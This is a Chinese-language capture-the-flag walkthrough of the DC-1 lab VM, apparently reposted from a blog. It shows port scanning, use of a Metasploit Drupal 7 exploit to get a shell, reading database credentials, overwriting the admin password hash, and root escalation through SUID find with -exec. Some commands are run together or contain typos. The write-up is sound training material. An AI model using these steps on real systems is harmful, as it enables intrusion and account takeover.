2.DC1

DC-1

关于环境的搭建 , 大家可以自行百度

网络桥接

渗透机 kali

靶机 dc-1

0x01. 信息收集

1. 查看当前网段

image-20210616185202249

2. 扫描存活主机 , 确定靶机ip

image-20210616184951314

补充 : 建议kali和靶机使用nat , 在一个网段里 , 这样好找一点

3. 扫描ip开放的端口 , 全端口

masscan -p0-65535 192.168.0.119 --banner --rate=1000

image-20210616185714514

开放的有80端口 , 估计是有web服务 , 访问一下

image-20210616191850623

发现是水滴搭建的 , 国外三大开源的cms , drupal wordpress joomla , 那简单啦 , 下一步识别版本号 , 然后找对应的exp

image-20210616193108428

0x02. 漏洞发现&利用

kali自带的msf有关于水滴7版本的exp , 尝试利用

进入msf , 搜索模块

search durpal
use 4  (试了好几个exp,还是4好用)
set rhosts 192.1658.0.119
run
shell   (进入命令行操作界面,非交互式)
python -c 'import pty;pty.spawn("/bin/bash")'

发现第一个flag1.txt

image-20210616195140470

打印查看具体信息

www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.  
看来是让我们找配置文件

在默认的目录下找到配置文件 settings.php , 也可以直接搜索

image-20210616195419743

flag2提示我们关于暴力破解不一定是最好的选择 , 然后又说了获取权限 , 那么关于网站的权限获取 , 肯定是管理员啦 , 看到下面有数据库信息 , 通过数据库找到网站管理员的账号和密码

本地连接数据库

mysql -h localhost -u dbuser -p
R0ck3t
show databases;
use durpaldb;
show tables;
select * from users;

image-20210616200222051

找到了admin的信息 , 但是密码是加密的 , 通过百度durpal密码得知加密脚本在script下面

忘记了Druapl7的密码,该如何解决?
答:
方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。

方法二:这是drupal提供的最原生的方法
在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:
php scripts/password-hash.sh admin

这里使用第二种方法替换 , 来到网站根目录下

php scripts/password-hash.sh admin
password: admin 		hash: $S$DBkl4KG4OCnn1aiFMP6WAc32CF7QFyqx9aU6lD8mWBp1imIciHRZ

接着就是update更新

update drupaldb.users set pass="$S$DBkl4KG4OCnn1aiFMP6WAc32CF7QFyqx9aU6lD8mWBp1imIciHRZ" where name="admin";

使用替换后的密码登进后台 , 拿到flag3

image-20210616201644773

通过翻译得知 , 当前权限不能够查看etc/shadow文件 , 需要我们提权了?

既然没有明显的提示我们就直接搜索flag

find / -type f -name "*flag*"

image-20210616204239382

www-data@DC-1:/home/flag4$ cat flag4.txtcat flag4.txtCan you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy.  Or maybe it is?

flag是在root下 , 那就要提权了

关于这个exp , 你可以直接在msf中直接搜索 , 尝试, 如果有最好 , 没有的话就用网上的exp

我知道这是靶机 , 很多人实战都是卡在这个漏洞的发现和利用 , 别着急 , 慢慢来

0x03. 提权

关于linux提权的方式也很多 , 这里尝试使用suid提权

SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

说人话 : 就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

查找suid文件

find / -perm -u=s -type f  2>/dev/null/表示从文件系统的顶部(根)开始并找到每个目录-perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件-type 表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件2表示该进程的第二个文件描述符,即stderr(标准错误)>表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。其他查找命令find / -user root -perm -4000 -print 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;

image-20210616202719619 

我们这里就用find命令提权

cd /tmpmkdir aaafind aaa -exec whoami \;获取最后的flagfind test -exec  cat /root/thefinalflag.txt \;
www-data@DC-1:/tmp$ find test -exec  cat /root/thefinalflag.txt \;find test -exec  cat /root/thefinalflag.txt \;Well done!!!!Hopefully you've enjoyed this and learned some new skills.You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7

nice

0x04. 编写报告

0x05. 清除数据

就是那个网站管理员的密码 , 涉及到改写数据最后先备份一份原来的

原文地址:https://www.cnblogs.com/xcymn/p/15712490.html